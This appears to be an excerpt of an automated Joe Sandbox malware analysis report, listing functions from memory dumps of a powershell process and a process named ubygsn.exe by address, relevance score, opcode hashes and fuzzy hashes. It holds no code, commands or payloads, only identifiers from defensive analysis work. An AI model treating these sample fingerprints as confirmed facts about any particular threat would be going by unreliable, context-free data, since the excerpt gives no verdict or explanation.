Opcode ID: de02ab18a192d27f798e33bc82b5440d918219a61bcbd7184f8ba0092a49d829
Instruction ID: 4f51486e069fb6b90ae0800a4613c15a778210c44c673b8fef0f7194c46d1c36
Opcode Fuzzy Hash: de02ab18a192d27f798e33bc82b5440d918219a61bcbd7184f8ba0092a49d829
Instruction Fuzzy Hash: 00010471D0074AEFCB14CFE8C9449EDBBB1FF99300F20472AE006A6604EBB02695CB91

Function 0319D9A7 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2279883370.000000000319D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0319D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_319d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94c3dc1ed6ef21287abfedfd5119f45bd94c0759b8d1036d55260cc23c82e2fc
Instruction ID: 948d4a430b85427f3f85d2152038be28da05a78b802bfb4b0539ae0542e5b867
Opcode Fuzzy Hash: 94c3dc1ed6ef21287abfedfd5119f45bd94c0759b8d1036d55260cc23c82e2fc
Instruction Fuzzy Hash: EDF0F976200604AFD724DF0AD985C27FBADEBD8670719C55AE84A4B711C771FC41CAB0

Function 04B4CB52 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb07b8a9a690024bf50308556f700f231b570e247a14591664760f57f5f2802f
Instruction ID: 42b52d4f7ecb69ff997ebbdd77db66e0c250f1265f276f9aafcba86b3e249bd0
Opcode Fuzzy Hash: bb07b8a9a690024bf50308556f700f231b570e247a14591664760f57f5f2802f
Instruction Fuzzy Hash: FDF027352053401FD715A6295CC1D6E7FD6DFC6160329497EC18ADBA40CE680C0647B1

Function 04B490D8 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0090f8bdcb430c52e81d34ce2236a2fccfd948a971ff1d43af08fc7dfe8e823a
Instruction ID: b9ade38c2ef18df58e4834199e4e3216cabe8c39c4d5d9ebde3f00ee21a336a1
Opcode Fuzzy Hash: 0090f8bdcb430c52e81d34ce2236a2fccfd948a971ff1d43af08fc7dfe8e823a
Instruction Fuzzy Hash: 3BF02B797042009BE700EF25C0193ABBB65EFC5319F11855ED5564B3C5CE3A6802CBE1

Function 04B4F3C8 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2c9303a5cfceb00bbc64ade1df8f82613392c08418a3d5b502fc2a4a654c510
Instruction ID: 6346912e78b17fabaef54adc922a238424bfb93a9b18b6bf651538900f77f93d
Opcode Fuzzy Hash: a2c9303a5cfceb00bbc64ade1df8f82613392c08418a3d5b502fc2a4a654c510
Instruction Fuzzy Hash: 7A01EF71D0075ADBCB04CFE8C8446EEBBB0FF99300F20572AE005A6604EBB06695CB91

Function 04B4DE38 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e10f6a58725d368b69452a506187c2638e7a9100fdcf2fc8bdb6417313f289c
Instruction ID: 0256c6bd641e4c4a2800ce974b759937dee2738c1314dd5a431efe733eb1e5b7
Opcode Fuzzy Hash: 1e10f6a58725d368b69452a506187c2638e7a9100fdcf2fc8bdb6417313f289c
Instruction Fuzzy Hash: F1F05E343041808FC7018F2DD494CA67BF9DFCA31531905DAE089CB332CA61DC02DB50

Function 04B47950 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56c11a3c495e3fedd1a15c6a1410d689f7f788f84ccdab2127519ce0bcd86fee
Instruction ID: 782b1d8d9fec75804ef4cb7d3b6bd4561edac0af6576dd7da44c7d29324c0b82
Opcode Fuzzy Hash: 56c11a3c495e3fedd1a15c6a1410d689f7f788f84ccdab2127519ce0bcd86fee
Instruction Fuzzy Hash: 78F0A771700714AFD7149A99D844A6FB7E9EBC8261B40092DF209D3741DF75AC0287A5

Function 0319D998 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2279883370.000000000319D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0319D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_319d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 448da139fca6ce465a3a0dc9feed388faaf1a29ef03ff12c6b4e3f43a1441492
Instruction ID: c3c669e57346ab44c1cd55b154b786caaee8f1178866b42052909eec1a235a44
Opcode Fuzzy Hash: 448da139fca6ce465a3a0dc9feed388faaf1a29ef03ff12c6b4e3f43a1441492
Instruction Fuzzy Hash: CCF0F975100A40AFD725CF06D985D23BBB9EB89660B298589E84A4B712C771FC42CB60

Function 04B4C4D0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5324553225925d293cce082dd3f1b408cf9ac1e11939caeb14ec72609a0f6e2
Instruction ID: 1ca58fc9443854510aaa07b061442312194d9de75851f832c7b1daa1f4d5f838
Opcode Fuzzy Hash: d5324553225925d293cce082dd3f1b408cf9ac1e11939caeb14ec72609a0f6e2
Instruction Fuzzy Hash: E3F082352003049BD704EA29D84095BBB96EFC52557058A7ED2598F710DF71EC05C7E0

Function 04B4767F Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70aeb6b8c60bb0efcb53b8cfbbe871a5c1dbc20f00f53d65602c04384ed99643
Instruction ID: cfb39e1b25433d11836baa57aae58eb5b923f10aea25cd6fab4df544da046969
Opcode Fuzzy Hash: 70aeb6b8c60bb0efcb53b8cfbbe871a5c1dbc20f00f53d65602c04384ed99643
Instruction Fuzzy Hash: B8F0A039300205CFDB00EBAED8409997BE2EBC9355B1541A9E509CB325DF30DC02CB90

Function 04B490E8 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5705a17e0138c9ac53e92fbd6b8cac49b07405bf92fb1339d81d61ac2e747f2d
Instruction ID: f8f42781e9c539b49c5dd84a712a431decf124a07ef0be2131f0b86abf66d118
Opcode Fuzzy Hash: 5705a17e0138c9ac53e92fbd6b8cac49b07405bf92fb1339d81d61ac2e747f2d
Instruction Fuzzy Hash: A8F0A7796042048BEB04AF65D0197AB7796DBC5318F11856AC91A4B384CE3A6C05CBE1

Function 04B4DE48 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 903de2117bf64395a28adfd5025a08a8c21b47ae0326ef9629c2c4a128883ef9
Instruction ID: dff8ab4f786c364ee20626958f64dff2f4fc70ff837f6326fa9dec456a5fe35f
Opcode Fuzzy Hash: 903de2117bf64395a28adfd5025a08a8c21b47ae0326ef9629c2c4a128883ef9
Instruction Fuzzy Hash: 66E01A353401108F87109F1DD498CA6BBFAEFCE76571904AAF589CB331DA61EC01DB90

Function 04B49158 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b4a2d24c165642748061bcba1f9a3758a1e4665afe522aa3e28815d82eb779c
Instruction ID: 9886f8506dcaa35d617b51678a1bec4b8a776ceda569904722457c741f0e1cc2
Opcode Fuzzy Hash: 1b4a2d24c165642748061bcba1f9a3758a1e4665afe522aa3e28815d82eb779c
Instruction Fuzzy Hash: 77F05E709053049BD7649B78E49879A7BE1EB44310F00446DE55AD7281CB3468418B50

Function 04B4E91E Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0d1c71bcb0a54242588d612459f74d3b06b8b92e5fbfddd9324bee1f2eafccb
Instruction ID: d15f57fb2acaa5315a854b2bbaa22841f1163b0c38747739eadbefdb549dc8c5
Opcode Fuzzy Hash: f0d1c71bcb0a54242588d612459f74d3b06b8b92e5fbfddd9324bee1f2eafccb
Instruction Fuzzy Hash: 0AF06D39A02114DFCB04CB98E599D9DFBB2FB88215B15C595E905A7351CB31ED01CB80

Function 04B4E798 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43983e4722e92684382bdd56291e770393d0d460fd0662518756db376b6d24dd
Instruction ID: a00349bdaadc2b94ead9a877782d0b0d0bf6f3587059909e5126bcb4b53a5061
Opcode Fuzzy Hash: 43983e4722e92684382bdd56291e770393d0d460fd0662518756db376b6d24dd
Instruction Fuzzy Hash: 39E02031B042546A9F10456DACC5CDEBFE4D7D8174F0006BDD502B3202D6A154059250

Function 04B4CB68 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b1b27f2f9224e5f161271efa84023a1113542679c5fa4499894f80b32abced2
Instruction ID: c08cbd56280dd0e7552ffe442966676297cbc531c5e3eb50827e065c3a96f26d
Opcode Fuzzy Hash: 8b1b27f2f9224e5f161271efa84023a1113542679c5fa4499894f80b32abced2
Instruction Fuzzy Hash: 4CE04F352013005B9668F66EAC82C6EBB8ADEC91603598D3ED25E9BB00DE756C0547E5

Function 04B49542 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d10ad170bfa899e5095e9898bd2021c82cbe655fe9e55598154ec858323c4ca0
Instruction ID: 79c3afad71af680f08bc1907b53f6d1c059001e6e748cbc149e2db2abe60c2b0
Opcode Fuzzy Hash: d10ad170bfa899e5095e9898bd2021c82cbe655fe9e55598154ec858323c4ca0
Instruction Fuzzy Hash: B5E0866674625217DB56B6B928107BB6E898BC7065B2902FEC5C5C7282DC44DC05A3E1

Function 04B4DCD9 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ba11c93d94a5e22caa142968822f79e7094d569150e8bbd83664fe33f261b49
Instruction ID: aaaa7db7a50bdb459261177b7d2bde867d25b20bb5890135cb1c4a849581f6b8
Opcode Fuzzy Hash: 2ba11c93d94a5e22caa142968822f79e7094d569150e8bbd83664fe33f261b49
Instruction Fuzzy Hash: 2CE09B317144405B8709866DD4444E9BF76DBC9220F5484BED44A97250D6316555D6E1

Function 04B4896A Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb0938d4eec0bd2660a20c5da5473a1617c0541011f04937809f299cb1c6725e
Instruction ID: 7a548e75c0bfd052b7bef648a47cf09149cdf657fbbedce861ab4a5bfa44a7bf
Opcode Fuzzy Hash: bb0938d4eec0bd2660a20c5da5473a1617c0541011f04937809f299cb1c6725e
Instruction Fuzzy Hash: 9CE0223570A2908BDB0EA734A46C6AE2B92EBC5329F06016ED31B87382CF640809C7D5

Function 04B49168 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a09c11823e28b55cce409fc36a6e3d14c75231ab5acb3d292a72180c38542ed
Instruction ID: e3e6da58b4cd3438a77d3fa2249532a14bf1e32204385176ffd00e2c693e4181
Opcode Fuzzy Hash: 2a09c11823e28b55cce409fc36a6e3d14c75231ab5acb3d292a72180c38542ed
Instruction Fuzzy Hash: C7F06D709013049BD764DFB8D49C79A7BE5FB44310F00446DE61EC7340DB3568808B90

Function 04B4AF88 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68c1ea8af2a49ecce2e6bb6d879fa59c639c311b781a2d226e46c33e595c25d4
Instruction ID: e9a2612402b625138707196e2e9b407abac1fb43e89ed90905b8ffe00f499cb8
Opcode Fuzzy Hash: 68c1ea8af2a49ecce2e6bb6d879fa59c639c311b781a2d226e46c33e595c25d4
Instruction Fuzzy Hash: 3BE026223882D1169F16813D68609A6AFA787DB730309C1F9E084CF281DC518C068360

Function 04B48978 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52f6d4834904e7dda573fe78cc216871146ef286e946a2acbd8e001096012f97
Instruction ID: eaf099f36f911191f87fbaf172d48b81d897e9e0424017b1f83341849531f613
Opcode Fuzzy Hash: 52f6d4834904e7dda573fe78cc216871146ef286e946a2acbd8e001096012f97
Instruction Fuzzy Hash: FEE0DF3570521087CB0D3774A42C2AE7B56EBC8729F01002ED71A83341CF78580193D9

Function 04B49550 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f710c59434f871e13e5b9651ad224f790eb6ddf866269d8955f48cb54af7a78
Instruction ID: 0f299a9ee69a5b466580a6e4c451d4a7f404aa819e76737b03f214e94cc4e2f4
Opcode Fuzzy Hash: 1f710c59434f871e13e5b9651ad224f790eb6ddf866269d8955f48cb54af7a78
Instruction Fuzzy Hash: 96D0A716702223171E5475FE18007BBA5CECEC54A6B2601F6DA89C3382EC44EC1523F1

Function 04B4DCE8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction ID: e477caae95eecb1662cbe42b5a68bc07aa0d2f7cbe7873e46ceec9c74b1c4190
Opcode Fuzzy Hash: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction Fuzzy Hash: 21E08631B10014978B089959D4104EDF7AADBCC220F04847ED90AA7340DA32691596E1

Function 04B4C580 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70e67c81e23bd8ba28d896f85666afa059939a5a5c58affc0a1cc8e56a74e65d
Instruction ID: 6b18e37563241e684ff2f4a60ddd33e3e49d082c6c5d7756732d260c7ca3039a
Opcode Fuzzy Hash: 70e67c81e23bd8ba28d896f85666afa059939a5a5c58affc0a1cc8e56a74e65d
Instruction Fuzzy Hash: DEE0CD353095511FC305973CF8654697FD1D7D626130A02BFE15EC7341DE154C0987E5

Function 04B48739 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07ddccab971132b1422d12b269cc70fdf4bc6cea7debaea461f765064fc9e8d2
Instruction ID: 1be4a51495f8b1a99f37ff0a5c845547d8972b9c7cc157c5c32ad3326c54bd6b
Opcode Fuzzy Hash: 07ddccab971132b1422d12b269cc70fdf4bc6cea7debaea461f765064fc9e8d2
Instruction Fuzzy Hash: D5E04F348051499BCB09AB74E8AF8ED7F70FA05301B01029CE52752252EA70564ADEC5

Function 04B48800 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8bf8042f9d9e55ceab0b84e110f008a7e33b45d453dbc46f4928a1ad9adb752
Instruction ID: 23766dd2e2e6752e4eb270ddbaf042788239f2e5b8843454f7d26da5bb43c222
Opcode Fuzzy Hash: b8bf8042f9d9e55ceab0b84e110f008a7e33b45d453dbc46f4928a1ad9adb752
Instruction Fuzzy Hash: 07E08635E0824ADFC708DFE4D56686EBFF1EB45200B0095A8DE5A93746E630A851EBC1

Function 04B4F458 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37197439fd3301ee2accb19447d9d23f2ffb970aff5e010c897d85b192e761b2
Instruction ID: 0673538c722e3a22a7d30b5641d34b2f15ef0769a3b11e8004e77da73d720bdc
Opcode Fuzzy Hash: 37197439fd3301ee2accb19447d9d23f2ffb970aff5e010c897d85b192e761b2
Instruction Fuzzy Hash: 17E01A70E4414A8EC780DF7C88415AEFFF0EB8D250B1085EEC519D7211E63286118F81

Function 04B4C590 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 581f1f3ed3e6a51957b6e0bf3d7d6c11a78027e7bc6344990fe4bcbfda70af12
Instruction ID: e9cea4aa5ce44c79eb4dd87a042dae6e1129cbff4a4ca27163611ac11c99db1e
Opcode Fuzzy Hash: 581f1f3ed3e6a51957b6e0bf3d7d6c11a78027e7bc6344990fe4bcbfda70af12
Instruction Fuzzy Hash: D2D0A7353005101B8308676DF40545A77D9D7C9562306013FE61EC7340DE619C0583F4

Function 04B4F468 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: 5828eb0a92128ef2ff109d788f18341f4e881c5577593c7c51218683e3e5466d
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: ADD067B0D0420D9FC780EFADD94156EFBF4EB48200F6085AA8919E7301F7329A129BD1

Function 04B48748 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e3e8c4e5fdc3957b1fe1ed2657fef9aab56277f90c5ec7b37a6379927b15d96
Instruction ID: 2b73bff3324a823d8d3606244095f6e48cc018af26cc6fc034c864a8f273d78f
Opcode Fuzzy Hash: 3e3e8c4e5fdc3957b1fe1ed2657fef9aab56277f90c5ec7b37a6379927b15d96
Instruction Fuzzy Hash: CED017308051098BCB0CEBA4E82B4BDBB74FA00301F4101ADDA2752291EE306A4ACAC0

Function 04B48810 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78cd754680b5c30972e9cdc6fb9e05ffe524cd23f907ca4b19e753e92a9f8491
Instruction ID: a36a05ed482931737cdd496b574175204252d5782b30f35215d2fad7bb0901a8
Opcode Fuzzy Hash: 78cd754680b5c30972e9cdc6fb9e05ffe524cd23f907ca4b19e753e92a9f8491
Instruction Fuzzy Hash: 4BD01734A0920A8F8B08EFA4E45687EBBB5EB44200F005169DE1A93340EA306801DFC1

Function 04B4791A Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6149b0a14ec8105b3b08658d80c970a909e18c591006a7579a16443c131ecc60
Instruction ID: cc98db682028db08d8d503a52f02f73c6ea84204a7e496bfc08df8f2ed7da688
Opcode Fuzzy Hash: 6149b0a14ec8105b3b08658d80c970a909e18c591006a7579a16443c131ecc60
Instruction Fuzzy Hash: 5BD0923448E3C49FC7168B7894948283F355E0312470908DED8869F5B7CABA8489CB16

Function 04B4EA47 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d69c94b90ed64cca089b9d2e155bb70ecc84451e35b114f461253f68a8ac0dd
Instruction ID: 59711ba2757ac57b4a2feff482447766a36ce22ae9f18117d6a560633df91c7f
Opcode Fuzzy Hash: 2d69c94b90ed64cca089b9d2e155bb70ecc84451e35b114f461253f68a8ac0dd
Instruction Fuzzy Hash: A3D09239B01218CFDB08CB98E895A9CB371FB84329F1181A5E51997351CB32E912CB80

Function 04B47E90 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b87f6b6aef9713203f9f6973c34bb20c411c4af80f608a073c8aa4999a608c9
Instruction ID: cf3e60bc58c6f6f98bec5daf4a302c36fbc7e66707097ce6c53db15e75bcfc8b
Opcode Fuzzy Hash: 1b87f6b6aef9713203f9f6973c34bb20c411c4af80f608a073c8aa4999a608c9
Instruction Fuzzy Hash: F3C08C1040F3C00FEF03D3394CA9512BFB2094301C70A40CAD480CE863C8B8880ACB23

Function 04B47928 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34ffbf5a491998aec94639790f4340f0ba3b2ef45e2a9c169ba5044089904e55
Instruction ID: 20821be3e9ccb04e23443dc27e7a465b2bceb758dd02800bc8b3cda976f2bb6e
Opcode Fuzzy Hash: 34ffbf5a491998aec94639790f4340f0ba3b2ef45e2a9c169ba5044089904e55
Instruction Fuzzy Hash: 1BB092301857488FC3486FB5A804824732DAF4021538004A8E80E4B6A38F7AE885CA44

Non-executed Functions

Function 04B44D62 Relevance: 6.4, Strings: 5, Instructions: 111COMMON

Download Yara Rule

Strings

?n^, xrefs: 04B44DD2
?n^, xrefs: 04B44D62
?n^, xrefs: 04B44D82
?n^, xrefs: 04B44DE2
?n^, xrefs: 04B44D92

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID: ?n^$?n^$?n^$?n^$?n^
API String ID: 0-2190774100
Opcode ID: 52b72036ef25467351442709f7010d635e84931aea140072686ef387f26436b1
Instruction ID: b738251ffa0292e04f3cffb52b30148d232d80eb4afe0a0da9bc011285f5b4f1
Opcode Fuzzy Hash: 52b72036ef25467351442709f7010d635e84931aea140072686ef387f26436b1
Instruction Fuzzy Hash: B541622164E7C19FC30B9B3CD8A46857FA1EF97294B0A00DBD5C4CF6A3DA249C1AC756

Analysis Process: ubygsn.exePID: 3700, Parent PID: 6524COMMON

Execution Graph

Execution Coverage:	15.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	6.8%
Total number of Nodes:	133
Total number of Limit Nodes:	13

Executed Functions

Function 06989548 Relevance: 1.9, APIs: 1, Instructions: 357
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.4613979259.0000000006980000.00000040.00000800.00020000.00000000.sdmp, Offset: 06980000, based on PE: false

Joe Sandbox IDA Plugin

